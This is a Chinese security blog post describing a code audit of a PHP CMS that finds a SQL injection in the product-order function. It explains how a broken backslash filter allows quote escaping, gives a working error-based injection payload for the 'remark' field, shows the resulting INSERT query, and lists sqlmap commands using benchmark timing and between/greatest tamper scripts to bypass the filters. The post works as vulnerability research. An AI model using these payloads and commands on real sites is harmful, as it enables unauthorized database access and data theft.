记一次简单的代码审计

admin 2021年5月8日19:29:07评论55 views字数 1724阅读5分44秒阅读模式

*代码分析*:

首先来看F()方法,这是用来获取参数

位于app/function.php文件

前面都是来获取参数值的

记一次简单的代码审计

关键看后面这里有个enhtml()函数,对传入的数据进行过滤

记一次简单的代码审计

跟进enhtml()函数
先stripslashes()->filterExp()->htmlspecialchars()->str_replace()这几个函数的处理。

记一次简单的代码审计

然后跟进filterExp()函数

记一次简单的代码审计

注意 这个正则,是有问题的,这里要匹配反斜杠,要\这样写,不然是匹配不出来的(可以百度)。

过滤了sleep、update等关键字,可以用其他的替代。
所以这里可以利用:

找到两个参数可控的,用反斜杠吃掉第一个参数的反单引号,让第一个参数的正单引号和第二个参数的正单引号闭合,然后直接操作第二个参数即可。这样就可以不需要单引号进行注入了

漏洞点:apphomecontrollerother.php文件的order()方法

记一次简单的代码审计

这里首先他判断了C('web_order_login')=1才需要登录,默认情况下,C('web_order_login')是等于0的

如果管理员设置了需要登录的话,注册个用户就好了,默认就是可以注册的

这个地方是商品的下单操作,下单时,必须得有商品,只要有商品,就能满足那个sql查询,成功进入到下单插数据库的操作

记一次简单的代码审计

测试时,搭建这个cms是没有任何数据的,也不存在商品,所以是无法进入到这个触发注入的那块代码的(实际环境中,是肯定可以的)

复现:

所以先登后台,添加一个商品

记一次简单的代码审计

来到前台找到该商品
点击我要订购,抓取数据包,这里先测试一下,用户名填test

记一次简单的代码审计

成功,开始构造注入语句,用extractvalue报错注吧

其他参数正常随便传

address传:test

remark传:

,1 and extractvalue(1,concat(0x7e,(select

user()),0x7e)),1,1,1,1,1)#

可以看到这里成功带入到数据库里
language
insert into sd_order (`pro_name`,`pro_num`,`pro_price`,`orderid`,`truename`,`mobile`,`address`,`remark`,`ispay`,`isover`,`createdate`,`postip`,`userid`) values ('test','1','1','202005041735122','test','13111111111','test',',1 and extractvalue(1,concat(0x7e,(select user()),0x7e)),1,1,1,1,1)#','0','0','1588584912','10.0.0.0','1')

记一次简单的代码审计

接下来直接用sqlmap跑

需要注意的事项:

1、将上面的payload里的and extractvalue(1,concat(0x7e,(select user()),0x7e))替换为*号放到sqlmap里-r跑

记一次简单的代码审计

2、由于sleep这些被过滤了,我们这里用benchmark注入(也可以使用其他的),要使用--test-filter=benchmark参数

3、想跑出数据,但是要用到大于号小于号,而传入的参数都被htmlspecialchars了,所以使用sqlmap的tamper脚本between,greatest
greatest:大于号替换为greatest
between:用between替换<、>

sqlmap.py -r 4.txt --technique=T --test-filter=benchmark

记一次简单的代码审计

sqlmap.py -r 4.txt --technique=T --test-filter=benchmark --current-user -v 3 --tamper=between,greatest

记一次简单的代码审计

记一次简单的代码审计

相关推荐: 原创干货 | 一次对某组织的应急响应

一次对某组织的应急响应 前言 前一阵子接到某平台被挂BC的求助,顺手帮他们看了下,没想到捡了几个过了市面上主流防护软件的马子,查了下资料,发现免杀的思路是真的骚 经过 首先观察下被挂BC的站点的环境和目前是什么状态 网站程序 phpcms9.4.2 部署环境 …

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月8日19:29:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次简单的代码审计https://cn-sec.com/archives/246557.html